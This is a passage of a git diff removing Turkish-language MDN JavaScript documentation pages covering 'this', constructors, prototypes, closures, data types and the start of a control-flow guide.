</code></pre> - -<p><code>tamİsim()</code> fonksiyonunu <code>s.tamİsim()</code>'i kullanmadan tek başına çağırdığımızda, <code>this</code> global nesneye bağlıdır. <code>ad</code> ve <code>soyad</code> gibi global değişkenler olmadığı için ekrana her biri için <code>undefined</code> sonucu yansıyacaktır.</p> - -<p>Şimdi <code>Kişi</code> fonksiyonumuzu geliştirmek için <code>this</code> anahtar kelimesini kullanalım:</p> - -<pre class="brush: js"><code>function Kişi(ad, soyad) { - this.ad = ad; - this.soyad = soyad; - this.tamİsim = function() { - return this.ad + ' ' + this.soyad; - }; - this.tamİsimTers = function() { - return this.soyad + ', ' + this.ad; - }; -} -var s = new Kişi('Simon', 'Willison');</code></pre> - -<p>Yeni bir anahtar kelimeden bahsetmenin vakti geldi: <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/new">new</a></code>. <code>new</code>, <code>this</code> ile doğrudan bağlantılıdır. Tamamen yeni bir boş nesne yaratır ve belirtilen fonksiyonu yeni nesnenin <code>this</code> değeriyle güncelleyerek çağırır. Fark ettiyseniz <code>this</code>, sadece <code>this</code> nesnesinde değişiklik yapar. Bir değeri <code>return</code> eden <code>new</code> anahtar kelimesidir. <code>new</code> tarafından çağırılacak fonksiyonlara kurucu (constructor) fonksiyon denir. Bu fonksiyonları <code>new</code> ile çağırmayı unutmamak için büyük harfle isimlendirmek yaygın bir yöntemdir.</p> - -<p>Geliştirdiğimiz fonksiyon hala <code>tamİsim()</code>'i tek başına çağırdığımızda istediğimiz sonucu vermeyecek.</p> - -<p>Kişi nesnelerimiz artık eskisinden daha iyi, ancak hala kötü tarafları mevcut. Her kişi nesnesi oluşturduğumuzda, iki yepyeni fonksiyon yaratmış oluyoruz — peki bu kod paylaşılsaydı daha iyi olmaz mıydı?</p> - -<pre class="brush: js"><code>function tamİsim() { - return this.ad + ' ' + this.soyad; -} -function tamİsimTers() { - return this.soyad + ', ' + this.ad; -} -function Kişi(ad, soyad) { - this.ad = ad; - this.soyad = soyad; - this.tamİsim= tamİsim; - this.tamİsimTers = tamİsimTers; -}</code></pre> - -<p>Çok daha iyi. Artık metod fonksyionlarını bir defa oluşturuyoruz ve referansları kurucu fonksiyonun içinde atıyoruz. Bundan daha iyisini de yapabilir miyiz? Cevap evet:</p> - -<pre class="brush: js"><code>function Kişi(ad, soyad) { - this.ad = ad; - this.soyad = soyad; -} -Kişi.prototype.tamİsim = function() { - return this.ad+ ' ' + this.soyad; -}; -Kişi.prototype.tamİsimTers = function() { - return this.soyad + ', ' + this.ad; -};</code></pre> - -<p><code>Kişi.prototype</code>, <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">Kişi</span></font>'nin tüm özelliklerinin paylaşıldığı bir nesnedir. Bir diğer adı "prototip zinciri" olan bu nesne, bir arama zincirinin parçasını oluşturur. <code>Kişi</code>'ye ait ayarlanmamış bir özelliğe erişmek istediğinizde, Javascript bu özelliğin var olup olmadığını <code>Kişi.prototype</code> öğesinde arayacaktır. Böylelikle <code>Kişi.prototype</code>'a atanan her şey, <code>this</code> nesnesi kullanılarak kurucu fonksiyonda da geçerli hale gelecektir.</p> - -<p>Bu, oldukça güçlü bir özellik. Javascript, size istediğiniz zaman, herhangi bir şeyin prototipini modifiye etmenize olanak tanır. Bu şekilde önceden oluşturduğunuz nesnelere yeni metodlar ekleyebilirsiniz:</p> - -<pre class="brush: js"><code>s = new Kişi('Simon', 'Willison'); -s.isimCaps(); // 1. satırda TypeError: s.isimCaps bir fonksiyon değil - -Kişi.prototype.isimCaps = function() { - return this.first.toUpperCase(); -}; -s.isimCaps(); // "SIMON"</code></pre> - -<p>İlginç bir şekilde gömülü Javascript nesnelerinin prototiplerine de bir şeyler ekleyebilirsiniz. Hadi <code>String</code> nesnesine sözcükleri ters çevirmeye yarayan bir metod ekleyelim:</p> - -<pre class="brush: js"><code>var s = 'Simon'; -s.ters(); // 1. satırda TypeError: s.ters bir fonksiyon değil - -String.prototype.ters = function() { - var r = ''; - for (var i = this.length - 1; i >= 0; i--) { - r += this[i]; - } - return r; -}; - -s.ters(); // nomiS</code></pre> - -<p>Yeni metodumuz aşağıda görebileceğiniz durumlarda bile çalışıyor:</p> - -<pre class="brush: js"><code>'Ters çevir'.ters(); // riveç sreT</code></pre> - -<p>Daha önce de bahsettiğimiz gibi; prototip, zincirin bir kısmını oluşturur. Bu zincirin kökü <code>Object.prototype</code>, içerdiği metodlardan biri ise <code>toString()</code>'dir. — hatırlarsanız bu metodu bir nesneyi string'e çevirmek için çağırıyorduk. Bu yöntem <code>Kişi</code> nesnelerimizin hata ayıklama sürecinde yardımcı olacaktır.</p> - -<pre class="brush: js"><code>var s = new Kişi('Simon', 'Willison'); -s.toString(); // [object Object] - -Kişi.prototype.toString = function() { - return '<Kişi: ' + this.isim() + '>'; -} - -s.toString(); // "<Kişi: Simon Willison>"</code></pre> - -<p>Hatırlarsanız <code>avg.apply()</code> metodu yeni bir boş argüman oluşturuyordu. Şimdi o konuya geri dönebiliriz. <code>apply()</code> kullanacağımız ilk argüman, '<code>this</code>' ile ele alınacak bir nesne olmalıdır. Aşağıda <code>new</code> anahtar kelimesinin kullanıldığı küçük bir uygulama görebilirsiniz:</p> - -<pre class="brush: js"><code>function Deneme(constructor, ...args) { - var o = {}; // Nesne yaratır - constructor.apply(o, args); - return o; -}</code></pre> - -<p>Bu, prototip zincirini oluşturmadığı için <code>new</code> ifadesinin tam anlamıyla karşılığı sayılmaz (bu durumu anlatması biraz zor) ve çok sık kullanacağınız bir şey değil, ancak yine de bilmek faydalı olacaktır. Bu örnekte <code>...args</code>, "<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">rest arguments</a>" olarak da geçer. — adından da anlayacağınız üzere geriye kalan tüm argümanları temsil eder.</p> - -<p>Bu nedenle bu satır,</p> - -<pre class="brush: js"><code>var bill = Deneme(Kişi, 'William', 'Orange');</code></pre> - -<p>hemen hemen bu satır ile aynıdır:</p> - -<pre class="brush: js"><code>var bill = new Kişi('William', 'Orange');</code></pre> - -<p><code>apply()</code> metodunun kardeşi sayabileceğimiz <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/call" title="/en/JavaScript/Reference/Global_Objects/Function/call"><code>call</code></a>, <code>apply()</code>'dan farklı olarak genişletilmiş bir argüman listesi alır.</p> - -<pre class="brush: js"><code>function soyadCaps() { - return this.last.toUpperCase(); -} -var s = new Kişi('Simon', 'Willison'); -soyadCaps.call(s); -// Veya aşağıdaki yöntemi kullanabilirsiniz: -s.soyadCaps = soyadCaps; -s.soyadCaps(); // WILLISON</code></pre> - -<h3 id="İç_fonksiyonlar">İç fonksiyonlar</h3> - -<p>JavaScript fonksiyonların içinde başka fonksiyonlar tanımlayabilirsiniz. Bu durumu <code>Kişi()</code> fonksiyonumuzun önceki versiyonlarında görmüştük. İç içe oluşturulan fonksiyonlara dair önemli bir detay, içteki fonksiyonun içinde bulunduğu "parent" fonksiyon kapsamında kullanılan değişkenlere erişebilmesidir:</p> - -<pre class="brush: js"><code>function parentFonk() { - var a = 1; - - function içFonk() { - var b = 4; // parentFonk bunu kullanamaz. - return a + b; - } - return içFonk(); // 5 -}</code></pre> - -<p>Bu, daha sürdürülebilir bir kod yazmanızda büyük yarar sağlar. Eğer bir fonksiyonunuz, başka kısımlarda işinize yaramayacak bir veya daha fazla fonksiyona bağlıysa; bu fonksiyonları başka bir yerde çağıracağınız fonksiyonun içine yazabilirsiniz. Bu şekilde global düzeyde kullanılan değişken sayısını azaltacağınız için, daha güvenli bir koda sahip olursunuz.</p> - -<p>Yazdığınız kod karmaşık bir hal aldıkça birden çok fonksiyon arasında değer paylaşmak yerine global değişkenler kullanmak daha cazip gelebilir — ki bu sebeple sürdürülmesi zor bir kod yaratmış olursunuz. İç içe fonksiyonlar dış fonksiyon ile değişken paylaşabildiği için global isim alanınızı (global namespace) kirletmeden, sadece ilgili fonksiyonları bir araya getirerek bu mekanizmayı kullanabilirsiniz. — bu şekilde kullanacağınız değişkenlere "yerel global" bile diyebiliriz. Ne kadar kullanışlı da olsa bu mekanizmayı dikkatli kullanmanız gerekir.</p> - -<h2 id="Kaplamlar">Kaplamlar</h2> - -<p>Sıra geldi Javascript'in en güçlü -bir yandan da en kafa karıştırıcı- soyutlamalarından birine. Peki kaplamlar (closures) tam olarak ne yapar?</p> - -<pre class="brush: js"><code>function ekle(a) { - return function(b) { - return a + b; - }; -} -var x = ekle(5); -var y = ekle(20); -x(6); // ? -y(7); // ?</code></pre> - -<p><code>ekle()</code> fonksiyonun işlevini anlamışsınızdır; yeni bir "toplama" fonksiyonu oluşturur ve tek bir argümanla çağrıldığında, oluşturulduğu argümana o değeri ekler.</p> - -<p>Burada gördüğünüz olayın gerçekleşme şekli, daha önce bahsettiğimiz iç fonksiyonların çalışma prensibiyle hemen hemen aynı: içeride tanımlanmış fonksiyon, dış fonksiyonun değişkenlerine erişim hakkı vardır. Buradaki tek fark ise şu; dış fonksiyon <code>return</code> edildiğinde yerel değişkenleri artık yok olacak gibi düşünürüz, ancak <em>hala bellektedirler </em>— aksi takdirde fonksiyonlarımız çalışmazdı. Dahası, <code>ekle()</code> fonksiyonunun yerel değişkenlerinin iki farklı "kopyası" bulunuyor. — bir 5 olan <code>a</code> ve bir de 20 olan <code>a</code>. Bu yüzden yukarıdaki kodun sonucu böyle olacaktır:</p> - -<pre class="brush: js"><code>x(6); // 11 -y(7); // 27</code></pre> - -<p>Şimdi arkaplanda ne olup bittiğini yazalım. Javascript ne zaman bir fonksiyonu yürütse, fonksiyon içerisindeki yerel değişkenleri tutma amaçlı bir 'kapsama alanı' oluşturur. Bu alan, fonksiyon parametresi olarak gönderilen tüm değişkenler üzerinden tanımlanır. Bahsettiğimiz durum tüm global değişken ve fonksiyonları içeren global nesneye benzese de, birkaç önemli farklılık taşır: ilk olarak, fonksiyon her yürütüldüğünde yepyeni bir kapsam nesnesi oluşturulur, ve ikinci olarak, kapsam nesneleri global nesnelerin aksine Javascript kodu üzerinden doğrudan erişilebilir değildir. Örneğin, geçerli kapsam nesnesinin özellikleri üzerinde yineleme yapmak için bir mekanizma yoktur.</p> - -<p>Özetlemek gerekirse; <code>ekle()</code> çağırıldığında, fonksiyona geçen argüman, yani tek bir özelliğe sahip (<code>a</code>) bir kapsam nesnesi oluşturulur. Ardından <code>ekle()</code> fonksiyonu yeni bir fonksiyon <code>return</code> eder. Normal koşullarda Javascript'in çöp toplayıcısının <code>ekle()</code> için oluşturulan bu yeni fonksiyonu temizlemesi gerekirken, <code>return</code> edilen fonksiyon yine de kapsam fonksiyonu için referans konumunda durur. Bu nedenle <code>ekle()</code>'nin oluşturduğu fonksiyon nesnesine herhangi bir referans kalmayana dek bu kapsamda hiç bir öğe silinmeyecektir.</p> - -<p>Kapsam nesneleri, JavaScript'in nesne sisteminde kullanılan prototip zincirine benzer şekilde, kapsam zinciri adı verilen bir zinciri oluşturur.</p> - -<p><strong>Kaplam</strong>, bir fonksiyon ile, o fonksiyon beraberinde oluşturulan kapsam nesnesinin bir kombinasyonudur. Kaplamlar durum (state) kaydetmenize olanak sağlar — böylelikle nesnelerin yerine kullanılabilirler. Kaplamlar hakkında bazı muhteşem bilgiler için buraya <a href="http://stackoverflow.com/questions/111102/how-do-javascript-closures-work">tıklayabilirsiniz.</a></p> - -<div class="originaldocinfo"> -<h2 id="Original_Document_Information" name="Original_Document_Information">Orijinal Belge Bilgileri</h2> - -<ul> - <li>Yazar: <a class="external" href="http://simon.incutio.com/">Simon Willison</a></li> - <li>Son güncellenme tarihi: March 7, 2006</li> - <li>Copyright: © 2006 Simon Willison, contributed under the Creative Commons: Attribute-Sharealike 2.0 license.</li> - <li>Daha fazla bilgi: Bu ders ile ilgili daha fazla bilgi (ve orijinal sunuma ait slaytlar) için, <a class="external" href="http://simon.incutio.com/archive/2006/03/07/etech">Etech weblog post</a> adresine girebilirsiniz.</li> -</ul> -</div> - -<pre class="script" style="font-size: 16px;">wiki.languages({ - "fr": "fr/Une_r\u00e9introduction_\u00e0_JavaScript", - "it": "it/Una_re-introduzione_a_Javascript", - "ja": "ja/A_re-introduction_to_JavaScript", - "ko": "ko/A_re-introduction_to_JavaScript", - "pl": "pl/JavaScript/Na_pocz\u0105tek", - "ru": "ru/\u041f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0435_\u0432\u0432\u0435\u0434\u0435\u043d\u0438\u0435_\u0432_JavaScript", - "zh-cn": "cn/A_re-introduction_to_JavaScript", - "zh-tw": "zh_tw/\u91cd\u65b0\u4ecb\u7d39_JavaScript", - "es": "es/JavaScript/Una_nueva_introducción_a_JavaScript"}); -</pre> diff --git a/files/tr/web/javascript/data_structures/index.html b/files/tr/web/javascript/data_structures/index.html deleted file mode 100644 index f71614add0..0000000000 --- a/files/tr/web/javascript/data_structures/index.html +++ /dev/null @@ -1,299 +0,0 @@ ---- -title: JavaScript veri tipi ve veri yapısı -slug: Web/JavaScript/Data_structures -tags: - - Başlangıç - - JavaScript - - Veri Türleri -translation_of: Web/JavaScript/Data_structures -original_slug: Web/JavaScript/Veri_Yapısı ---- -<div>{{jsSidebar("More")}}</div> - -<p>Programlama dilleri dil ile birlikte gelen sabit veri yapılarına sahiptir, fakat bu veri yapıları dilden dile değişiklik gösterir. Bu makale JavaScript'teki sabit veri yapılarını ve bu veri yapılarının özelliklerini listeler; böylece bu veri yapıları kullanılarak farklı veri yapıları yaratılabilir. Makale boyunca karşılaştırmanın mümkün olduğu bölümlerde, farklı dillerle kıyaslama yapılmıştır.</p> - -<h2 id="Dinamik_Veri_Tipi">Dinamik Veri Tipi</h2> - -<p>JavaScript esnek (ya da dinamik) veri tipine sahip bir dildir. JavaScript dilinde değişkenler belirli bir veri tipi ile direkt ve sabit olarak ilişkilendirilmez ve herhangi bir değişkene herhangi bir veri tipine sahip bir değer atanabilir, bu değer daha sonra farklı bir veri tipinin değeri ile değiştirilebilir.</p> - -<pre class="brush: js">var foo = 42; // foo değişkeni şuan bir sayıdır -foo = 'bar'; // foo değişkeni şuan karakter dizisidir -foo = true; // foo değişkeni şuan boolean veri türüdür -</pre> - -<h2 id="Veri_Tipleri">Veri Tipleri</h2> - -<p>Son ECMAScript standartları 7 veri tipi tanımlar:</p> - -<ul> - <li>İlkel olan yedi veri türü {{Glossary("Primitive", "primitives")}}: - <ul> - <li>{{Glossary("Boolean")}}</li> - <li>{{Glossary("Null")}}</li> - <li>{{Glossary("Undefined")}}</li> - <li>{{Glossary("Number")}}</li> - <li>{{Glossary("BigInt")}}</li> - <li>{{Glossary("String")}}</li> - <li>{{Glossary("Symbol")}} (ECMAScript 6'da yeni gelen veri tipi)</li> - </ul> - </li> - <li>ve {{Glossary("Object")}}</li> -</ul> - -<h2 id="İlkel_Primitive_değerler">İlkel (Primitive) değerler</h2> - -<p>Nesne dışındaki bütün veri tipleri sonradan değiştirilemez değerler tanımlar. Örnek olarak C dilinin tersine karakter dizileri (String) değiştirilemez. Bu tipteki değerler ilkel değerler (primitive values) olarak tanımlanır.</p> - -<h3 id="Boolean_tipi">Boolean tipi</h3> - -<p>Boolean veri tipi doğru ( <code>true</code> ) ve yanlış ( <code>false</code> ) olmak üzere iki mantıksal değerden birine sahip olan veri tiplerini temsil eder.</p> - -<h3 id="Null_tipi">Null tipi</h3> - -<p>Boş olan değişkenlerin alabiileceği tek değer vardır: <code>null</code>. Daha fazla detay için buraya bakınız {{jsxref("null")}} and {{Glossary("Null")}}.</p> - -<h3 id="Undefined_tipi">Undefined tipi</h3> - -<p>Herhangi bir değer atanmamış değişkenlerin değeri <code>undefined</code> (tanımlanmamış)dır. Daha fazla detay için buraya {{jsxref("undefined")}} ve buraya {{Glossary("Undefined")}} bakınız.</p> - -<h3 id="Number_type">Number type</h3> - -<p>According to the ECMAScript standard, there is only one number type: the <a href="http://en.wikipedia.org/wiki/Double_precision_floating-point_format">double-precision 64-bit binary format IEEE 754 value</a> (numbers between -(2<sup>53</sup> -1) and 2<sup>53</sup> -1). <strong>There is no specific type for integers</strong>. In addition to being able to represent floating-point numbers, the number type has three symbolic values: <code>+Infinity</code>, <code>-Infinity</code>, and <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN"><code>NaN</code></a> (not-a-number).</p> - -<p>To check for the largest available value or smallest available value within <code>+/-Infinity</code>, you can use the constants {{jsxref("Number.MAX_VALUE")}} or {{jsxref("Number.MIN_VALUE")}} and starting with ECMAScript 2015, you are also able to check if a number is in the double-precision floating-point number range using {{jsxref("Number.isSafeInteger()")}} as well as {{jsxref("Number.MAX_SAFE_INTEGER")}} and {{jsxref("Number.MIN_SAFE_INTEGER")}}. Beyond this range, integers in JavaScript are not safe anymore and will be a double-precision floating point approximation of the value.</p> - -<p>The number type has only one integer that has two representations: 0 is represented as -0 and +0. ("0" is an alias for +0). In the praxis, this has almost no impact. For example <code>+0 === -0</code> is <code>true</code>. However, you are able to notice this when you divide by zero:</p> - -<pre class="brush: js">> 42 / +0 -Infinity -> 42 / -0 --Infinity -</pre> - -<p>Although a number often represents only its value, JavaScript provides <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators" title="en/JavaScript/Reference/Operators/Bitwise_Operators">some binary operators</a>. These can be used to represent several Boolean values within a single number using <a class="external" href="http://en.wikipedia.org/wiki/Mask_%28computing%29">bit masking</a>. However, this is usually considered a bad practice, since JavaScript offers other means to represent a set of Booleans (like an array of Booleans or an object with Boolean values assigned to named properties). Bit masking also tends to make the code more difficult to read, understand, and maintain. It may be necessary to use such techniques in very constrained environments, like when trying to cope with the storage limitation of local storage or in extreme cases when each bit over the network counts. This technique should only be considered when it is the last measure that can be taken to optimize size.</p> - -<h3 id="String_type">String type</h3> - -<p>JavaScript's {{jsxref("Global_Objects/String", "String")}} type is used to represent textual data. It is a set of "elements" of 16-bit unsigned integer values. Each element in the String occupies a position in the String. The first element is at index 0, the next at index 1, and so on. The length of a String is the number of elements in it.</p> - -<p>Unlike in languages like C, JavaScript strings are immutable. This means that once a string is created, it is not possible to modify it. However, it is still possible to create another string based on an operation on the original string. For example:</p> - -<ul> - <li>A substring of the original by picking individual letters or using {{jsxref("String.substr()")}}.</li> - <li>A concatenation of two strings using the concatenation operator (<code>+</code>) or {{jsxref("String.concat()")}}.</li> -</ul> - -<h4 id="Beware_of_stringly-typing_your_code!">Beware of "stringly-typing" your code!</h4> - -<p>It can be tempting to use strings to represent complex data. Doing this comes with short-term benefits:</p> - -<ul> - <li>It is easy to build complex strings with concatenation.</li> - <li>Strings are easy to debug (what you see printed is always what is in the string).</li> - <li>Strings are the common denominator of a lot of APIs (<a href="/en-US/docs/Web/API/HTMLInputElement" title="HTMLInputElement">input fields</a>, <a href="/en-US/docs/Storage" title="Storage">local storage</a> values, {{ domxref("XMLHttpRequest") }} responses when using <code>responseText</code>, etc.) and it can be tempting to only work with strings.</li> -</ul> - -<p>With conventions, it is possible to represent any data structure in a string. This does not make it a good idea. For instance, with a separator, one could emulate a list (while a JavaScript array would be more suitable). Unfortunately, when the separator is used in one of the "list" elements, then, the list is broken. An escape character can be chosen, etc. All of this requires conventions and creates an unnecessary maintenance burden.</p> - -<p>Use strings for textual data. When representing complex data, parse strings and use the appropriate abstraction.</p> - -<h3 id="Symbol_type">Symbol type</h3> - -<p>Symbols are new to JavaScript in ECMAScript 2015. A Symbol is a <strong>unique</strong> and <strong>immutable</strong> primitive value and may be used as the key of an Object property (see below). In some programming languages, Symbols are called atoms. For more details see {{Glossary("Symbol")}} and the {{jsxref("Symbol")}} object wrapper in JavaScript.</p> - -<h2 id="Objects">Objects</h2> - -<p>In computer science, an object is a value in memory which is possibly referenced by an {{Glossary("Identifier", "identifier")}}.</p> - -<h3 id="Properties">Properties</h3> - -<p>In JavaScript, objects can be seen as a collection of properties. With the <a href="/en-US/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Object_literals">object literal syntax</a>, a limited set of properties are initialized; then properties can be added and removed. Property values can be values of any type, including other objects, which enables building complex data structures. Properties are identified using key values. A key value is either a String or a Symbol value.</p> - -<p>There are two types of object properties which have certain attributes: The data property and the accessor property.</p> - -<h4 id="Data_property">Data property</h4> - -<p>Associates a key with a value and has the following attributes:</p> - -<table class="standard-table"> - <caption>Attributes of a data property</caption> - <tbody> - <tr> - <th>Attribute</th> - <th>Type</th> - <th>Description</th> - <th>Default value</th> - </tr> - <tr> - <td>[[Value]]</td> - <td>Any JavaScript type</td> - <td>The value retrieved by a get access of the property.</td> - <td>undefined</td> - </tr> - <tr> - <td>[[Writable]]</td> - <td>Boolean</td> - <td>If <code>false</code>, the property's [[Value]] can't be changed.</td> - <td>false</td> - </tr> - <tr> - <td>[[Enumerable]]</td> - <td>Boolean</td> - <td>If <code>true</code>, the property will be enumerated in <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a> loops. See also <a href="/en-US/docs/Web/JavaScript/Enumerability_and_ownership_of_properties">Enumerability and ownership of properties</a></td> - <td>false</td> - </tr> - <tr> - <td>[[Configurable]]</td> - <td>Boolean</td> - <td>If <code>false</code>, the property can't be deleted, can't be changed to an accessor property and attributes other than [[Value]] and [[Writable]] can't be changed.</td> - <td>false</td> - </tr> - </tbody> -</table> - -<table class="standard-table"> - <caption>Obsolete attributes (as of ECMAScript 3, renamed in ECMAScript 5)</caption> - <tbody> - <tr> - <th>Attribute</th> - <th>Type</th> - <th>Description</th> - </tr> - <tr> - <td>Read-only</td> - <td>Boolean</td> - <td>Reversed state of the ES5 [[Writable]] attribute.</td> - </tr> - <tr> - <td>DontEnum</td> - <td>Boolean</td> - <td>Reversed state of the ES5 [[Enumerable]] attribute.</td> - </tr> - <tr> - <td>DontDelete</td> - <td>Boolean</td> - <td>Reversed state of the ES5 [[Configurable]] attribute.</td> - </tr> - </tbody> -</table> - -<h4 id="Accessor_property">Accessor property</h4> - -<p>Associates a key with one or two accessor functions (get and set) to retrieve or store a value and has the following attributes:</p> - -<table class="standard-table"> - <caption>Attributes of an accessor property</caption> - <tbody> - <tr> - <th>Attribute</th> - <th>Type</th> - <th>Description</th> - <th>Default value</th> - </tr> - <tr> - <td>[[Get]]</td> - <td>Function object or undefined</td> - <td>The function is called with an empty argument list and retrieves the property value whenever a get access to the value is performed. See also <a href="/en-US/docs/Web/JavaScript/Reference/Operators/get"><code>get</code></a>.</td> - <td>undefined</td> - </tr> - <tr> - <td>[[Set]]</td> - <td>Function object or undefined</td> - <td>The function is called with an argument that contains the assigned value and is executed whenever a specified property is attempted to be changed. See also <a href="/en-US/docs/Web/JavaScript/Reference/Operators/set"><code>set</code></a>.</td> - <td>undefined</td> - </tr> - <tr> - <td>[[Enumerable]]</td> - <td>Boolean</td> - <td>If <code>true</code>, the property will be enumerated in <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a> loops.</td> - <td>false</td> - </tr> - <tr> - <td>[[Configurable]]</td> - <td>Boolean</td> - <td>If <code>false</code>, the property can't be deleted and can't be changed to a data property.</td> - <td>false</td> - </tr> - </tbody> -</table> - -<div class="note"> -<p><strong>Note: </strong>Attribute is usually used by JavaScript engine, so you can't directly access it (see more about <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty">Object.defineProperty()</a>). That's why the attribute is put in double square brackets instead of single.</p> -</div> - -<h3 id="Normal_objects_and_functions">"Normal" objects, and functions</h3> - -<p>A JavaScript object is a mapping between keys and values. Keys are strings (or {{jsxref("Symbol")}}s) and values can be anything. This makes objects a natural fit for <a class="external" href="http://en.wikipedia.org/wiki/Hash_table">hashmaps</a>.</p> - -<p>Functions are regular objects with the additional capability of being callable.</p> - -<h3 id="Dates">Dates</h3> - -<p>When representing dates, the best choice is to use the built-in <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date"><code>Date</code> utility</a> in JavaScript.</p> - -<h3 id="Indexed_collections_Arrays_and_typed_Arrays">Indexed collections: Arrays and typed Arrays</h3> - -<p><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array" title="Array">Arrays</a> are regular objects for which there is a particular relationship between integer-key-ed properties and the 'length' property. Additionally, arrays inherit from <code>Array.prototype</code> which provides to them a handful of convenient methods to manipulate arrays. For example, <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/indexOf" title="en/JavaScript/Reference/Global_Objects/Array/indexOf">indexOf</a></code> (searching a value in the array) or <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array/push" title="en/JavaScript/Reference/Global_Objects/Array/push">push</a></code> (adding an element to the array), etc. This makes Arrays a perfect candidate to represent lists or sets.</p> - -<p><a href="/en-US/docs/Web/JavaScript/Typed_arrays">Typed Arrays</a> are new to JavaScript with ECMAScript 2015 and present an array-like view of an underlying binary data buffer. The following table helps you to find the equivalent C data types:</p> - -<p>{{page("/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray", "TypedArray_objects", "", 0, 3)}}</p> - -<h3 id="Keyed_collections_Maps_Sets_WeakMaps_WeakSets">Keyed collections: Maps, Sets, WeakMaps, WeakSets</h3> - -<p>These data structures take object references as keys and are introduced in ECMAScript Edition 6. {{jsxref("Set")}} and {{jsxref("WeakSet")}} represent a set of objects, while {{jsxref("Map")}} and {{jsxref("WeakMap")}} associate a value to an object. The difference between Maps and WeakMaps is that in the former, object keys can be enumerated over. This allows garbage collection optimizations in the latter case.</p> - -<p>One could implement Maps and Sets in pure ECMAScript 5. However, since objects cannot be compared (in the sense of "less than" for instance), look-up performance would necessarily be linear. Native implementations of them (including WeakMaps) can have look-up performance that is approximately logarithmic to constant time.</p> - -<p>Usually, to bind data to a DOM node, one could set properties directly on the object or use <code>data-*</code> attributes. This has the downside that the data is available to any script running in the same context. Maps and WeakMaps make it easy to privately bind data to an object.</p> - -<h3 id="Structured_data_JSON">Structured data: JSON</h3> - -<p>JSON (JavaScript Object Notation) is a lightweight data-interchange format, derived from JavaScript but used by many programming languages. JSON builds universal data structures. See {{Glossary("JSON")}} and {{jsxref("JSON")}} for more details.</p> - -<h3 id="More_objects_in_the_standard_library">More objects in the standard library</h3> - -<p>JavaScript has a standard library of built-in objects. Please have a look at the <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects">reference</a> to find out about more objects.</p> - -<h2 id="Determining_types_using_the_typeof_operator">Determining types using the <code>typeof</code> operator</h2> - -<p>The <code>typeof</code> operator can help you to find the type of your variable. Please read the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof">reference page</a> for more details and edge cases.</p> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('ES1')}}</td> - <td>{{Spec2('ES1')}}</td> - <td>Initial definition.</td> - </tr> - <tr> - <td>{{SpecName('ES5.1', '#sec-8', 'Types')}}</td> - <td>{{Spec2('ES5.1')}}</td> - <td></td> - </tr> - <tr> - <td>{{SpecName('ES2015', '#sec-ecmascript-data-types-and-values', 'ECMAScript Data Types and Values')}}</td> - <td>{{Spec2('ES2015')}}</td> - <td>Added Symbol.</td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-ecmascript-data-types-and-values', 'ECMAScript Data Types and Values')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td></td> - </tr> - </tbody> -</table> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a class="link-https" href="https://github.com/nzakas/computer-science-in-javascript/">Nicholas Zakas collection of common data structure and common algorithms in JavaScript.</a></li> - <li><a href="https://github.com/monmohan/DataStructures_In_Javascript" title="https://github.com/monmohan/DataStructures_In_Javascript">Search Tre(i)es implemented in JavaScript</a></li> -</ul> diff --git a/files/tr/web/javascript/guide/control_flow_and_error_handling/index.html b/files/tr/web/javascript/guide/control_flow_and_error_handling/index.html deleted file mode 100644 index ba35caf1d9..0000000000 --- a/files/tr/web/javascript/guide/control_flow_and_error_handling/index.html +++ /dev/null @@ -1,420 +0,0 @@ ---- -title: Kontrol akışı ve hata yakalama -slug: Web/JavaScript/Guide/Control_flow_and_error_handling -tags: - - Başlangıç - - JavaScript - - Rehberi -translation_of: Web/JavaScript/Guide/Control_flow_and_error_handling -original_slug: Web/JavaScript/Guide/Ifadeler ---- -<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Grammar_and_types", "Web/JavaScript/Guide/Loops_and_iteration")}}</div> - -<p class="summary">JavaScript, uygulamanızın etkilişim halinde olmasını sağlayan kontrol akışı ifadeleri gibi birçok ifadeyi destekler. Bu bölümde, bu ifadeler üzerine durulacaktır.</p> - -<p>En basit olarak anlatmak gerekirse, JavaScript tarafından çalıştırılacak her komuta ifade adı verilir. Noktalı virgül (<code>;</code>) karakteri ise, JavaScript kodundaki ifadelerin birbirinden ayrılması için kullanılmaktadır.</p> - -<h2 id="Blok_ifadesi">Blok ifadesi</h2> - -<p>En temel ifade türü, ifadelerin gruplanmasını sağlayan blok ifadesidir. Blok ifadesi, bir çift süslü parantezle sınırlandırılır:</p> - -<pre class="syntaxbox">{ ifade_1; ifade_2; . . . ifade_n; } -</pre> - -<h3 id="Örnek"><strong>Örnek</strong></h3> - -<p>Blok ifadeleri genellikle kontrol akışı ifadeleri ile birlikte kullanılır (örn: <code>if</code>, <code>for</code>, <code>while</code>).</p> - -<pre class="brush: js">while (x < 10) { - x++; -} -</pre> - -<p>Buradaki, <code>{ x++; } bir </code>blok ifadesidir.</p> - -<p><strong>Önemli</strong>: ECMAScript2015'ten önceki JavaScript'te blok etki alanı bulunmamaktadır. Blok içerisinde yer alan değişkenlerin 